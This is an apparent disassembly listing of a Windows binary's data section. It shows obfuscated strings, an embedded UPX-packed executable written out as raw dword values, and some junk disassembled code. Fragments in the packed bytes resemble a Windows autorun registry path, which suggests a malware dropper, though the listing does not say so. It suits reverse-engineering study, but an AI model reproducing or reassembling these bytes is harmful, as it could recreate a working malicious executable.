aXaBi		db '#Xa/I',0           ; DATA XREF: sub_405527+Co
word_4412D5	dw 6Eh			; DATA XREF: sub_405601+10r
word_4412D7	dw 49h			; DATA XREF: sub_405601+FFr
word_4412D9	dw 66h			; DATA XREF: sub_405601+10Cr
aMkQe9		db 'mk,qe9',0           ; DATA XREF: sub_405601+204o
off_4412E2	dd offset word_424C36	; DATA XREF: sub_405601+226r
aK_0		db 'K &,',0             ; DATA XREF: sub_405601+27Do
word_4412EB	dw 49h			; DATA XREF: sub_405601+39Er
byte_4412ED	db 37h,	4Dh, 0		; DATA XREF: sub_405601+3BDo
aCcvJ8		db 'cc j8',0           ; DATA XREF: sub_405601+649o
aTbrgnn		db 'tRnn',0           ; DATA XREF: sub_405601+69Eo
aHz_B		db 'hZ.*~b!',0          ; DATA XREF: sub_405601+6EBo
byte_441306	db 0			; DATA XREF: sub_405601+80Do
aAxq@Mi		db 'Axq@;mI',0          ; DATA XREF: sub_405601+8ACo
dword_44130F	dd 782050h		; DATA XREF: sub_405F79+14r
a7ynj		db ' * 7YNJ',0          ; DATA XREF: sub_405F79+25o
aCowt9n		db 'cowt9N',0           ; DATA XREF: sub_405F79+204o
aJv_		db '&JV_',0             ; DATA XREF: sub_4062CD+3Bo
byte_441327	db 6Fh			; DATA XREF: sub_4062CD+5Eo
		dd 4A7F5231h
		db 20h,	66h, 0
byte_44132F	db 32h			; DATA XREF: sub_4062CD+7Co
		db 68h,	0
word_441332	dw 3C7Fh		; DATA XREF: sub_4062CD+117o
		dd 726566h
byte_441338	db 3Fh,	3Ah, 0		; DATA XREF: sub_4062CD+1B1o
aCayc_		db 'CYc_',0            ; DATA XREF: sub_4062CD+32Eo
aIk		db 'Ik',0               ; DATA XREF: sub_4062CD+408o
		dw 7
		unicode	0, <>,0
dword_441348	dd 0Ch			; DATA XREF: sub_406A9A+D5r
dword_44134C	dd 0			; DATA XREF: sub_4068A2+14r
					; sub_4068A2:loc_4068CFr ...
dword_441350	dd 0			; DATA XREF: sub_406A9A+21w
					; sub_406A9A+39r ...
dword_441354	dd 0			; DATA XREF: sub_406987+14r
					; sub_406987+1Dr ...
dword_441358	dd 0FFFFh		; DATA XREF: sub_406A9A+15r
					; sub_406A9A+181r ...
dword_44135C	dd 50733Dh		; DATA XREF: sub_40692E+1Er
a40?		db ':40?',0             ; DATA XREF: sub_406A9A+4Do
byte_441365	db 0			; DATA XREF: sub_406A9A+220o
aNDlyo		db 'N DLYO',0           ; DATA XREF: sub_406A9A+26Fo
aT2vxo		db 'T2vxO',0            ; DATA XREF: sub_406A9A+2A3o
aWWavg		db 'W',27h,'WAV`',0    ; DATA XREF: sub_406A9A+2CBo
		align 4
dword_44137C	dd 1			; DATA XREF: sub_407F67+3Cr
dword_441380	dd 10h			; DATA XREF: sub_406E2B+EC2r
					; sub_406E2B+EEFr ...
dword_441384	dd 0			; DATA XREF: sub_406D88+Er
					; sub_406D88:loc_406DB6r ...
dword_441388	dd 1			; DATA XREF: sub_407F67+73r
					; sub_40801C+26o
byte_44138C	db 0			; DATA XREF: sub_406E2B+FDCr
		align 2
		dw 2D36h
		dd offset dword_424C38+1AC8h
dword_441394	dd 764075h		; DATA XREF: sub_406E2B+25r
aOap		db 'op*',0             ; DATA XREF: sub_406E2B+92o
aAcbls		db 'AcBLs',0            ; DATA XREF: sub_406E2B+BAo
word_4413A3	dw 45h			; DATA XREF: sub_406E2B+D1r
word_4413A5	dw 6Dh			; DATA XREF: sub_406E2B+1EBr
aJXe?		db 'J$xE+?',0           ; DATA XREF: sub_406E2B+203o
word_4413AE	dw 30h			; DATA XREF: sub_406E2B+210r
byte_4413B0	db 20h,	4Ah, 0		; DATA XREF: sub_406E2B+223o
byte_4413B3	db 0			; DATA XREF: sub_406E2B+258o
a9ebg		db '9EB#',0            ; DATA XREF: sub_406E2B+30Eo
byte_4413BA	db 0			; DATA XREF: sub_406E2B+3AEo
byte_4413BB	db 0			; DATA XREF: sub_406E2B+3D9o
a854		db '^85/4=|',0          ; DATA XREF: sub_406E2B+3EEo
word_4413C4	dw 62h			; DATA XREF: sub_406E2B+4B5r
aWUn@		db ' w*UN@',0           ; DATA XREF: sub_406E2B+56Co
word_4413CD	dw 39h			; DATA XREF: sub_406E2B:loc_407441r
aGAkux		db ';AKuX',0           ; DATA XREF: sub_406E2B+6CFo
aEW		db ' E~^W',0            ; DATA XREF: sub_406E2B+7A8o
aUD		db 'u;D ',0             ; DATA XREF: sub_406E2B+825o
asc_4413E1	db '==',0               ; DATA XREF: sub_406E2B+8B2o
aT6rr		db 'T6Rr',0             ; DATA XREF: sub_406E2B+974o
dword_4413E9	dd 376A3Eh		; DATA XREF: sub_406E2B+9B9r
aFA		db ',F`>a',0            ; DATA XREF: sub_406E2B+A33o
byte_4413F3	db 0			; DATA XREF: sub_406E2B+B71o
aBmiJ		db 'MI ~j',0           ; DATA XREF: sub_406E2B+BC7o
aVsbag0		db 'SAg0',0           ; DATA XREF: sub_406E2B+BE2o
byte_441402	db 0			; DATA XREF: sub_406E2B+CC2o
word_441403	dw 68h			; DATA XREF: sub_406E2B+D4Fr
dword_441405	dd 3D6643h		; DATA XREF: sub_406E2B+D84r
aSHt		db 'S ht|',0            ; DATA XREF: sub_406E2B+EA3o
aWG		db 'W ^',0             ; DATA XREF: sub_406E2B+107Eo
aDXN		db 'd:x`n',0            ; DATA XREF: sub_406E2B+10A6o
word_44141A	dw 0FFFFh		; DATA XREF: sub_407F67+5o
		dd 7FEEFFFFh, 7FF90040h
		db 40h,	0
aB2U		db '2 U  ',0           ; DATA XREF: sub_40801C+Co
		align 10h
		dd 6
dword_441434	dd 0Bh			; DATA XREF: sub_408189+232r
dword_441438	dd 0			; DATA XREF: sub_4080E0+Fr
					; sub_4080E0:loc_40810Fr ...
dword_44143C	dd 905A4Dh, 3, 4, 0FFFFh, 0B8h,	0 ; DATA XREF: sub_4085D0+8Ao
		dd 40h,	8 dup(0)
		dd 0C8h, 0EBA1F0Eh, 0CD09B400h,	4C01B821h, 685421CDh, 70207369h
		dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h
		dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 13h	dup(0)
		dd 4550h, 3014Ch, 41CA88F2h, 2 dup(0)
		dd 10F00E0h, 6010Bh, 4000h, 1000h, 5000h, 9820h, 6000h
		dd 0A000h, 400000h, 1000h, 200h, 4, 0
		dd 4, 0
		dd 0B000h, 1000h, 0
		dd 2, 100000h, 1000h, 100000h, 1000h, 0
		dd 10h,	2 dup(0)
		dd 0A000h, 0D8h, 1Ch dup(0)
aUpx0		db 'UPX0',0
		align 4
		dd 5000h, 1000h, 0
		dd 400h, 3 dup(0)
		dd 0E0000080h, 31585055h, 0
		dd 4000h, 6000h, 3A00h,	400h, 3	dup(0)
		dd 0E0000040h, 32585055h, 0
		dd 1000h, 0A000h, 200h,	3E00h, 3 dup(0)
		dd 0C0000040h, 42h dup(0)
		dd 0A0000h
aInfoThisFileIs	db '$Info: This file is packed with the UPX executable packer http://'
		db 'upx.tsx.org $',0Ah,0
aIdUpx1_07Copyr	db '$Id: UPX 1.07 Copyright (C) 1996-2001 the UPX Team. All Rights Re'
		db 'served. $',0Ah,0
		dd 21585055h, 902090Ch,	0A2620A53h, 5F94A837h, 7269h, 381Fh
		dd 7000h, 38000426h, 92087EE9h,	905A4D00h, 43B0300h, 0B2C83200h
		dd 40B8FFFFh, 377FF97Fh, 1F0E04C8h, 0B4000EBAh,	0B821CD09h
		dd 68544C01h, 70207369h, 0FFFFFDBFh, 72676F72h,	63206D61h
		dd 6F6E6E61h, 65622074h, 6E757220h, 44026920h, 6D20534Fh
		dd 0FF6050EDh, 2E65646Fh, 240A0D0Dh, 134550C7h,	0FF21DBEDh
		dd 2014Ch, 41CA888Ah, 0B219DE0h, 0F080601h, 22B37EE9h
		dd 18A400E0h, 732510E0h, 6366F925h, 501E020Bh, 0E6760604h
		dd 341E0C96h, 59200710h, 0A006F65Eh, 757829E0h,	6FDDB201h
		dd 64D8017Ch, 3F764D38h, 742E3790h, 2B747865h, 6FFB20A2h
		dd 0EB96CBh, 2EE0041Ah,	6F6C6572h, 0ECA6CC63h, 0FB9E677Bh
		dd 42A22623h, 3D951079h, 30340370h, 669B2CDBh, 2FFA1226h
		dd 1B3046E2h, 3BAE9A69h, 32C0B42h, 0D36E5E14h, 4AB2CD34h
		dd 7062562Ch, 34D34D86h, 0C2AE9C4Dh, 9AF2E2D4h,	83659AEh
		dd 728182Dh, 9A69463Ch,	625469A6h, 0B28E786Ch, 9EA69A69h
		dd 2E2C6B4h, 0B9D34D2Fh, 2E0AF4CDh, 3C240397h, 0D34D344Ch
		dd 7C6A5C34h, 34DB9A8Ah, 0C0AAD34Dh, 2EF2E6CEh,	0A77659BFh
		dd 1087243Bh, 0E42BF403h, 0A69A69A6h, 0B6C0CAD4h, 6D60BAACh
		dd 9098A29Ah, 0B27FD72Bh, 0E9B67B66h, 2F8A9603h, 3307813h
		dd 17FFFF88h, 813066D2h, 54464F53h, 45524157h, 63694D5Ch
		dd 6F736F72h, 0FFFFE566h, 575C74FFh, 6F646E69h,	435C7377h
		dd 65727275h, 6556746Eh, 6F697372h, 68535C6Eh, 0DB6FFB7Fh
		dd 760C536Ch, 624F6528h, 7463656Ah, 79611044h, 64616F4Ch
		dd 7015AD6Eh, 82B3947h,	3F4D6739h, 2006A5FFh, 7041DB6Ch
		dd 6D747261h, 495C6E65h, 5EDFFA6Eh, 3B635303h, 323302h
		dd 49534C43h, 0D9235C44h, 0BBE77Eh, 3830257Bh, 34042D58h
		dd 61DBFA5Dh, 83237D03h, 9090FCECh, 5706F0E8h, 0AFBBDEF7h
		dd 3759060Bh, 74697845h, 0DE827C73h, 4CFB6046h,	71726269h
		dd 686B3B79h, 0D76C656Eh, 0DF67BF6Eh, 1B545FB5h, 0FD55779h
		dd 0DBFB7DF6h, 7562B565h, 69725067h, 67656CC7h,	305C2365h
		dd 1ED77850h, 0F2B642Eh, 4F4C5058h, 0B7376F11h,	727033D5h
		dd 61C52172h, 73642B62h, 0DEC6F66h, 126F6236h, 0BB79732Eh
		dd 0A0DD035Ch, 4964B835h, 3A5D5C21h, 0B7F6472h,	511A8FB1h
		dd 1F335F74h, 4F5F5CECh, 0B2186570h, 566EFE57h,	61484478h
		dd 6E706Eh, 37FFB5ACh, 542D2D4Dh, 51574B59h, 4A484647h
		dd 61130E0Ah, 411FF9EDh, 41594245h, 464C4853h, 67025B25h
		dd 20EF7B09h, 12050320h, 7BEE3023h, 0F32B0EFh, 15040B3Ah
		dd 83601E33h, 57677FFCh, 4B574A45h, 45574A46h, 13BBAB41h
		dd 444EFE9Ah, 44525349h, 0FF971A03h, 901FA200h,	0B6ECBCBh
		dd 8D0F1FA6h, 0B9219121h, 2319A4BCh, 35253123h,	7FD36D25h
		db 0D9h, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 57740150h
		push	24h
		dec	ch
		imul	ch
		adc	eax, 8D1E112Ch
		inc	ebp
		lock push eax
		or	[eax], ebp
		movzx	eax, word ptr [ebp-6]
		push	eax
		mov	esi, ds:74F3CF20h
		iret
; ---------------------------------------------------------------------------
		db 0Ah
		dd 0FE0450FCh, 66F4F6F8h, 50F7FB9Bh, 5B78858Dh,	0C068F075h
		dd 10D63826h, 0ECBB36CDh, 68FEB017h, 0C4F14B4h,	7F1DB76Ah
		dd 599904FBh, 0DC5FF9F7h, 5205C283h, 0D60C2A50h, 0CC10345Dh
		dd 832F73BDh, 271538C4h, 29B06850h, 76DB3B81h, 0BF8F5B77h
		dd 575080A0h, 220F1228h, 736E5214h, 15A40647h, 8763730h
		dd 0E6B07D33h, 310B1766h, 68096A2Ch, 0E761D898h, 8830C9ECh
		dd 0DB9F2845h, 372F66FDh, 40687909h, 6E026823h,	986E7786h
		dd 5F12606Ch, 22C3C95Eh, 1BEF0AEFh, 8B5318E1h, 6726A91Dh
		dd 7D89FF33h, 0FF0AEFFCh, 83D3FFFCh, 895010C0h,	0DC1C312Ch
		dd 3B59F08Bh, 23840FF7h, 37BAEFDBh, 680A6A49h, 17563AE4h
		dd 56A021Dh, 0F00F468Dh, 7B16DFB7h, 18590F81h, 7640D3B4h
		dd 0ED6C0F46h, 1509730Fh, 2068570Ch, 14752412h,	0DED93FFBh
		dd 0E75C73Bh, 6A041809h, 8D23EB02h, 0F351F84Dh,	0B3DB1337h
		dd 2BF8111Ch, 50215E2Ah, 6EEDC210h, 0FA08823Bh,	13E95803h
		dd 0FB62840Ah, 68F7DD77h, 57833000h, 8B1F4C2Eh,	74DF3BD8h
		dd 5C14687Dh, 1BB73AD9h, 4681048h, 0EF4B70Ah, 0BB6F6044h
		dd 8BF66ABFh, 0F86858F8h, 5AC32B58h, 16F803F4h,	0F4BFC28Dh
		dd 0C87E89F1h, 0C103CB2Bh, 210B4689h, 0B86E7E22h, 5356E10Dh
		dd 104023B0h, 0EEF633E8h, 0C2DFEC6Fh, 50560F43h, 16565653h
		dd 74C68C3Ch, 17EE7709h, 0EB389B8Dh, 431C710h, 350807EBh
		dd 699ECDFh, 7111A25h, 611B7D8Bh, 5B6006A1h, 57465161h
		dd 8E310F60h, 96BB66DFh, 542461FCh, 0A31CAF0Fh,	0FFDE0EB4h
		dd 0A12175FFh, 7621B907h, 0C0693524h, 7F7C7BFBh, 6851C82Bh
		dd 98EDC212h, 1D582BD9h, 74BFD0F7h, 0F6FB2D24h,	0C701C7DCh
		dd 0A756155Ch, 0C033500Ch, 0DD3306BCh, 9A6B0CA1h, 6C5DA160h
		dd 0D9131A3Bh, 206AD956h, 0B438641Ah, 0DE089D8Dh, 16ECA2F0h
		dd 0D866B738h, 522E3019h, 6B02F8C3h, 0C7DBDA1Bh, 13010E10h
		dd 0D537106Ah, 0AD99E9B3h, 0C61014FCh, 0A702284Bh, 780DCD73h
		dd 4104FDD8h, 9D237C51h, 15117A79h, 0E07813E0h,	1F9259B5h
		dd 111244CFh, 72E9DB54h, 8B740ED3h, 2F7483F0h, 0D9E80390h
		dd 78325B64h, 1270A056h, 21199D35h, 681B6C57h, 0EF8D1F5Eh
		dd 537D8986h, 5357DB33h, 0EE906440h, 0E70B6FBDh, 6C745B83h
		dd 0A218BE56h, 6667BF6Ah, 87F538Ch, 15B5890Fh, 0D3EC5750h
		dd 858A3FD2h, 9F3674C0h, 39D66784h, 6CE6E199h, 26137476h
		dd 0EB158420h, 9BE171E3h, 0FC145B35h, 57D9895Bh, 0B067FC61h
		dd 0C38B5E3Fh, 48D5B5Fh, 56085D8Bh, 0B7FE5357h,	590EFDBEh
		dd 0C88B3D66h, 0D1443F76h, 5C1A3C80h, 0C1810D74h, 0AF6FFF6Dh
		dd 77C9151Fh, 4101EBECh, 73C83B66h, 0FFC91B23h,	2B4BE17h
		dd 0F12B6DF0h, 8DC51778h, 8A470814h, 94881A14h,	63766105h
		dd 0C7186D7Bh, 7AEB7E6Dh, 18B7C62Fh, 644C90A6h,	560C245Ch
		dd 0DDB7AF9Dh, 7C8B57FFh, 0DB851024h, 0A6E197Eh, 6AC02EABh
		dd 0E6787D1Ah, 0C280FFFEh, 3E148861h, 7CF33B46h, 1F2480E7h
		dd 109F3200h, 0F8EC2C02h, 8B0C8FFFh, 5648084Dh,	50BC0D89h
		dd 0F0C67775h, 930B237Bh, 0F898A151h, 4F84536Fh, 0DA0BB0B6h
		dd 0C711FC1Bh, 0C75C2404h, 76F67B01h, 59D759D6h, 68152E75h
		dd 0CBF01354h, 4E1AB37Eh, 0B27093Bh, 0CEB0408h,	0BDAFE161h
		dd 193C68F1h, 59E0A929h, 0C3585059h, 702795F7h,	189B0CC2h
		dd 72891703h, 0FB3DB363h, 12946801h, 8F59D126h,	95B73DA8h
		dd 934F85BDh, 940E01FEh, 0C9ADBF5Dh, 5D9C64C9h,	0F8F07B57h
		dd 6D937C9Dh, 80A530BBh, 0B1E19F68h, 59CDB44Eh,	3F00C0A3h
		dd 5F7BACA4h, 3C7C315Fh, 70241235h, 0B36E960Ch,	0BFA04505h
		dd 6657E564h, 55A05A78h, 26136DB7h, 0B93D9B9Ch,	0EBEB05FDh
		dd 0CFCE8E6h, 580A3468h, 77166CC7h, 756A7B16h, 0E15D2733h
		dd 0F7E35F17h, 0D8CDE804h, 8B76E69Fh, 0FC18A2F1h, 5006C79Ch
		dd 8C654113h, 1A1DE399h, 14C0196Ah, 8D66B605h, 0B7102610h
		dd 6E741F20h, 126D5781h, 0B0C30257h, 1EB56F09h,	18C8D761h
		dd 59350B75h, 89FF2DC0h, 1CEB147Eh, 9575757h, 99BEAC47h
		dd 14463EB7h, 20469974h, 8B1C1601h, 7F685FC6h, 568DC6D7h
		dd 420F6283h, 82444F6h,	66D82001h, 20D611DBh, 1B5E1D59h
		dd 0BB6F3DA2h, 8BEAFB59h, 74689D5Ch, 8BD77403h,	95A3DB76h
		dd 0F68514EDh, 61465609h, 0FB7F752Ah, 0DF1CB7F6h, 375F03Bh
		dd 515B718Dh, 27FA8318h, 20453925h, 35B20675h, 0C183FDB0h
		dd 3EB5104h, 184720D0h,	0B3F51402h, 0AF10D674h,	5DB44552h
		dd 5EB61CC2h, 0B870D805h, 0E41A7AC4h, 42BEE510h, 681804FFh
		dd 9A7A20C4h, 0C847896Ah, 0E4CED8h, 0CC18086Ah,	2BD8D8C8h
		dd 1016C420h, 11D94C35h, 18D4D032h, 1A05B08Dh, 69140B2Ch
		dd 1D19D81Bh, 45148E7Ch, 530800A0h, 170A565Eh, 605E12CCh
		dd 0B8FC4D61h, 0C604660Bh, 0C040940Ah, 0C0B383ABh, 70BDDDEDh
		dd 5750211h, 3CEBEA8Bh,	0CD0612CBh, 0AFBCC187h,	53A46810h
		dd 76FC1A8Ah, 0EB760362h, 0C7D3931h, 5D2BA5Dh, 17D0191Eh
		dd 1EE002EBh, 0DD6B5BB8h, 575F30F6h, 0AE718D00h, 0C57EDC91h
		dd 2189344Ah, 8C20E94h,	0F1386DAEh, 880BF98h, 98E7857h
		dd 8BEF12DBh, 0C331085Eh, 0FDF402F0h, 205C74C3h, 2C147449h
		dd 9BA1C7C8h, 660DA265h, 0DD4A7AC4h, 46E25C68h,	0EFE84D6Dh
		dd 0BA4F510Ch, 0F13563FFh, 0D8F7FC26h, 2456C01Bh, 71E405FCh
		dd 0D4839B50h, 18A86FC5h, 0C503E595h, 91B7B36Ah, 0C445FFB1h
		dd 940F753Bh, 8FB693C0h, 0F9D91F06h, 0CC264A3Eh, 0DE35B18Bh
		dd 59104D17h, 91060689h, 0F977CFA6h, 883B986h, 0E048A04h
		dd 0C460101h, 78FB5D27h, 18E7106Dh, 44C77AD5h, 8D9D5342h
		dd 0D9437639h, 5945F66Ah, 62065746h, 0CB3EB243h, 0F6AA3D06h
		dd 0B46C2B6Dh, 0CC9B54Ch, 5F018963h, 62144B56h,	4C5B5DDCh
		dd 0A420418Bh, 0DED6B455h, 56E1314Ch, 0A4CF3F68h, 16475D00h
		dd 14158866h, 0EB670574h, 8CDC336Ch, 0A9AAA627h, 6332001Dh
		dd 68039C1Bh, 0B8040F5Eh, 20612F6Dh, 0B60F6660h, 8AFB0573h
		dd 785EBB64h, 0C10B9897h, 58681261h, 28D05213h,	2E21FBC2h
		dd 6408A164h, 0A3072589h, 0DDC6C7CEh, 6589D22Ch, 0C29A5E8h
		dd 57F42724h, 0BBB07BD7h, 50C3030Bh, 0CC0AF868h, 0E4B40B76h
		dd 0F404014h, 0D170E12Eh, 61E0B916h, 2B34AF38h,	0F192A952h
		dd 90B36BFBh, 1AFA9B69h, 0D9B94DCh, 0A1538593h,	94934390h
		dd 0B6EB5B4Fh, 2FE416F8h, 0DB084239h, 0C0BF45F7h, 3BC8DA2Dh
		dd 7C807C5Bh, 573201Eh,	5A6D44C6h, 2E066FE2h, 0FFE9EB40h
		dd 75461F76h, 1BC3E075h, 81AE086Eh, 6480E003h, 0BAB1B961h
		dd 50CC3105h, 0A60C04D4h, 0A246A6DDh, 1E081D5Fh, 0D80450DAh
		dd 3CF3CF3Ch, 0CECCD4D6h, 79E79ED2h, 0B60A46D9h, 5060746h
		dd 0EF9E6A04h, 30818F9h, 6010204h, 602353B6h, 92156A71h
		dd 3405885h, 5790E813h,	3EC498C9h, 8598BF72h, 2350C49Ah
		dd 683F50AEh, 0ADC6B6Fh, 420821D0h, 37865950h, 0D911623Eh
		dd 0EBFFC483h, 1696D20Eh, 8BC3C2BEh, 598B0C75h,	0D907F185h
		dd 0BEFA37D3h, 7D83CF1Ch, 0E07000E0h, 1A46160Eh, 72CC9684h
		dd 0F20DB4F0h, 0CE718A70h, 0F468D8FBh, 3811C9F0h, 0ABFFC883h
		dd 7C2CCDF6h, 55C09FA1h, 92D63B0Ch, 9EA50D79h, 77FCB42Eh
		dd 86E41DE6h, 0FFFF7AF2h, 135EBB4Bh, 0DCA6CE8Bh, 2973CA3Bh
		dd 8839048Ah, 303CC045h
		dd 393C0972h, 8F4D1D73h, 0C0F87D77h, 4B0A0D6Ah,	797F74B8h
		dd 0D8F18BE4h, 0EB4106EBh, 0F390FD0h, 0EDBC2885h, 4A8DBD1Fh
		dd 48F13BF6h, 0FD735C15h, 88D1DFFFh, 144E8D00h,	2A7DC13Bh
		dd 2673C23Bh, 88380C8Ah, 0F980BC4Dh, 0B6B19A2Dh, 54040A53h
		dd 0DB77C959h, 75DB37DBh, 4092530h, 0D46583h, 0D44D3910h
		dd 0D966AFA0h, 8DBF76DEh, 75C23B56h, 0B8388A1Fh, 9A78D8E8h
		dd 1905080Ch, 36C143A4h, 0F8D6D8CCh, 802ED4ADh,	0D0F65181h
		dd 2113C62h, 0CD08D0Bh,	0FD87777h, 3E048D02h, 0E021B50h
		dd 0F023E44h, 498C639Eh, 80D346D0h, 0AD85C11h, 0B1208D0h
		dd 4C883C4h, 4AEE37B7h,	7F3205C2h, 7C01C40Ah, 7E0C0405h
		dd 6237895Dh, 43EA1A0h,	5066E31h, 0E6EC5AD4h, 6077530h
		dd 2C187431h, 1B0B3003h, 0D70997ADh, 10D86846h,	18BB6D4Ah
		dd 0E00A9214h, 0B84EA76h, 0C58830A1h, 9098C3C3h, 5878E423h
		dd 19679CDBh, 0D35DC569h, 0FDB05DB3h, 9EBF3C80h, 48B662Eh
		dd 0F2A02F4Fh, 35B97E10h, 97F0D7Ch, 0C475E33Ah,	0C972C33Bh
		dd 5BCB5321h, 35BB6150h, 572A2E53h, 9C62470Ch, 0BF087EC5h
		dd 590E7CB2h, 3BC975EBh, 0D33275CBh, 974C2CB0h,	0EFC65D5Dh
		dd 0BF74B34Dh, 9124753Dh, 0C109847h, 3043B164h,	33949DCBh
		dd 0C3E9C26Fh, 5306CBBBh, 900BBE4Ch, 0CC841966h, 0C47704CAh
		dd 65C25FF2h, 0DA047704h, 5330C483h, 4C0A6A53h,	0ACD6DF07h
		dd 5325FF0Ch, 497A20ABh, 0B815CE46h, 0D9AF27CCh, 0E4AAD91Bh
		dd 0D90C1EA8h, 8D919037h, 0A8A800A4h, 0A36FF3A3h, 7C8366F1h
		dd 7100085h, 875300Ah, 0EC3C304Bh, 75BE310Ch, 47FF9E0Fh
		dd 16C811C8h, 0AE608852h, 0FA260394h, 4B466EB7h, 0ECEB5CFDh
		dd 3DC86212h, 7D6857C3h, 7E80C58Bh, 423A0617h, 866DCE6Dh
		dd 1CA5196Dh, 1E05F51Ah, 0D26329C1h, 0C22936Ch,	0ABE824D0h
		dd 5EFE0D6Fh, 3F32B36h,	0D1B89B30h, 0C11656EEh,	16F06DAFh
		dd 0DFFC60Eh, 0B54A140Ah, 2A2AB472h, 37096F20h,	22A850B3h
		dd 0BF09037h, 0BF6E1174h, 0F3928D1h, 0D1C22B99h, 27E0EF8h
		dd 0EB6356B1h, 0D33F923h, 7615AB2Ch, 0F6FD1CBh,	818DF9D1h
		dd 7E275F70h, 7FB76605h, 0EBACE9A1h, 79FEAC16h,	0B87D3B02h
		dd 0B8F84173h, 42F62D2Bh, 0AD90EC13h, 67501F04h, 0C4B62D72h
		dd 15F703DBh, 0D8E8D190h, 0DB1955C7h, 43A3F336h, 0B0E1655h
		dd 647D6F47h, 7FFF1EDFh, 7CF73BF0h, 17E8D06h, 814FBAEBh
		dd 0A6E2A4C7h, 473FE3Bh, 0D5B6FC1Eh, 4EACF78Bh,	2B00FC5Fh
		dd 7622AC75h, 0A30C90A1h, 7890024h, 5CD9A604h, 4789A4FBh
		dd 7F9F504h, 12B4C808h,	0A9CB5285h, 21C098A7h, 322B1A37h
		dd 0B1101047h, 8E95BA10h, 0A1A5C744h, 0AA32D527h, 401D4582h
		dd 9436186Eh, 97573C60h, 2BB54868h, 0A05B7619h,	980E15B8h
		dd 8E0C9E9Ch, 9193E951h, 0CE35C73Eh, 2A2EE05Dh,	0B741E14h
		dd 6A6E4611h, 850B5BF8h, 8B5A9A04h, 2084B88Ch, 77B9CA53h
		dd 0D7715B1Fh, 5589DC24h, 3C8D1AE8h, 7E1704BDh,	43C969ADh
		dd 8DA0072Bh, 1B10A402h, 8501D49Fh, 300F560h, 8605FEBBh
		dd 6857E035h, 1345F9B8h, 0CC308573h, 4816B80Eh,	0DB59893Eh
		dd 3913EC18h, 0AFA26285h, 1A3A441h, 6BE0ACEAh, 6F7F7269h
		dd 734FF64h, 40BB4E5Dh,	82A012C5h, 4A95CD9Bh, 10689731h
		dd 84EC5027h, 98C439CEh, 11830CDEh, 8BA5EE72h, 12FE7A3Dh
		dd 0A8DBA0B9h, 7CC052C5h, 7B1BAC01h, 7517DBFBh,	0EBE51839h
		dd 8DE00B37h, 6C51D01Ch, 19B0F65Ch, 1BE1103h, 0FD7B0F20h
		dd 282BB1DBh, 0BD6F1B06h, 0CC38151Ah, 0A3C4B5FFh, 4DCD99F9h
		dd 1863CCD0h, 0DDBB8C0Eh, 711E0B0Dh, 30CB84EBh,	0D868D31Bh
		dd 0B9EC9D90h, 996975B8h, 10984B4Fh, 53061326h,	244F8053h
		dd 0EB4E404Ch, 0B7646A91h, 5F471304h, 439C87EBh, 6C2008C6h
		dd 0E88C0DB8h, 63C7ABBAh, 5D346A42h, 0C11D72Fh,	0F460C6C7h
		dd 7DAF6359h, 460B2C8h,	23F0B850h, 11EC0912h, 61548C19h
		dd 0C80BEEC8h, 51C78359h, 7CC84D83h, 0EBF160C0h, 1C285778h
		dd 8EC6045Fh, 1B6B5AF0h, 0E8BAC0Bh, 0DAB74C33h,	76D09899h
		dd 0C8B52139h, 0B83351A6h, 3E8924CFh, 0FCBBA289h, 0B8844420h
		dd 6425527Dh, 97D684AFh, 0C683477Eh, 72F0C208h,	0A75ECFh
		dd 0D81DCC04h, 0C4C75F78h, 5328D574h, 0CBFAE07h, 474CD135h
		dd 9F11280Fh, 67E8666Ah, 2C11138Bh, 480825FFh, 0C8E79105h
		dd 0F80004C8h, 0C16CF410h, 0ECF0919Ah, 0E81900CCh, 8C8CEC27h
		dd 5100DCE0h, 1BF6F33Dh, 0F58D767Dh, 81147208h,	662D87E9h
		dd 7F6F162Dh, 170185ECh, 0C82BEC73h, 8B0CC48Bh,	0C8F18BE1h
		dd 40C1B748h, 804FC331h, 869F8C88h, 0E9998CC8h,	602960B8h
		dd 77C9C96Fh, 0C8133A1Dh, 284A0088h, 520F4F7h, 80E11993h
		dd 0CC397E16h, 34F7D03Dh, 85A8271Bh, 48206F50h,	972EDF1Bh
		dd 132B0D97h, 10DC2C32h, 35802A74h, 2F7C4BCBh, 3A276C1Ch
		dd 0D6E5CB20h, 5811142Fh, 5CDA3058h, 805FAC76h,	2898132Bh
		dd 2089E811h, 2A6578Ch,	0BFE59F72h, 9709E6B5h, 6D656D02h
		dd 99797063h, 0B3B96573h, 0BE7497FCh, 72747302h, 0C56E656Ch
		dd 0DD3BC302h, 63096BCFh, 31BA1D61h, 0B76CD3A6h, 333F3F7Fh
		dd 58415940h, 5A400250h, 0FD320F0Fh, 0E3AF837h,	0AACA0F49h
		dd 65637865h, 685F7470h, 43D16EDDh, 3DC17252h, 696F4302h
		dd 0B2FDADB3h, 435F491Bh, 85467878h, 781D4875h,	0AF0ADEA3h
		dd 5F484513h, 676F6C82h, 0B41BD42h, 5243D031h, 7D9C7B54h
		dd 49573DB6h, 0C45014Eh, 8A6C038Fh, 0DEE0B641h,	0AA0B7933h
		dd 3743240Bh, 0B54276A8h, 0D60BDBFh, 0DEDB5460h, 52657474h
		dd 81056FD3h, 0FDB6B7BAh, 7257037Fh, 62500E69h,	4D737396h
		dd 0FB9B721Bh, 89C7EED7h, 13F64701h, 72646441h,	2E671117h
		dd 213AA5D8h, 5F4F6C75h, 0FFDAD809h, 69560356h,	61757472h
		dd 2A84416Ch, 0C10A8445h, 261751Ch, 0B5354C31h,	33FFEA9Bh
		dd 6B636954h, 4E756F43h, 6490207h, 0AEED86B6h, 656B2BD5h
		dd 3632E64h, 0EB579767h, 4D41C04Ah, 65555075h, 4DEA930Fh
		dd 452FA136h, 0FDFEDAD1h, 3885961h, 0DB636C5Fh,	5302F500h
		dd 0BC80461Dh, 6710A56Dh, 14F0D6Dh, 70E09E47h, 6F258BDDh
		dd 70210B8Fh, 0F6B6D579h, 5323A66Bh, 44EB0F79h,	0E6EC1EBEh
		dd 16F10C5Ah, 335B0273h, 2BB64E32h, 30D7026Bh, 718C4975h
		dd 0CB68E6C8h, 0AD066525h, 0AA96DF68h, 0B0A36F70h, 6E531870h
		dd 6B617061h, 6F2846DDh, 7F43D51Bh, 784B1E62h, 414482DBh
		dd 45DB6D65h, 7C33BB46h, 15EA4EA5h, 0B530329h, 16D83714h
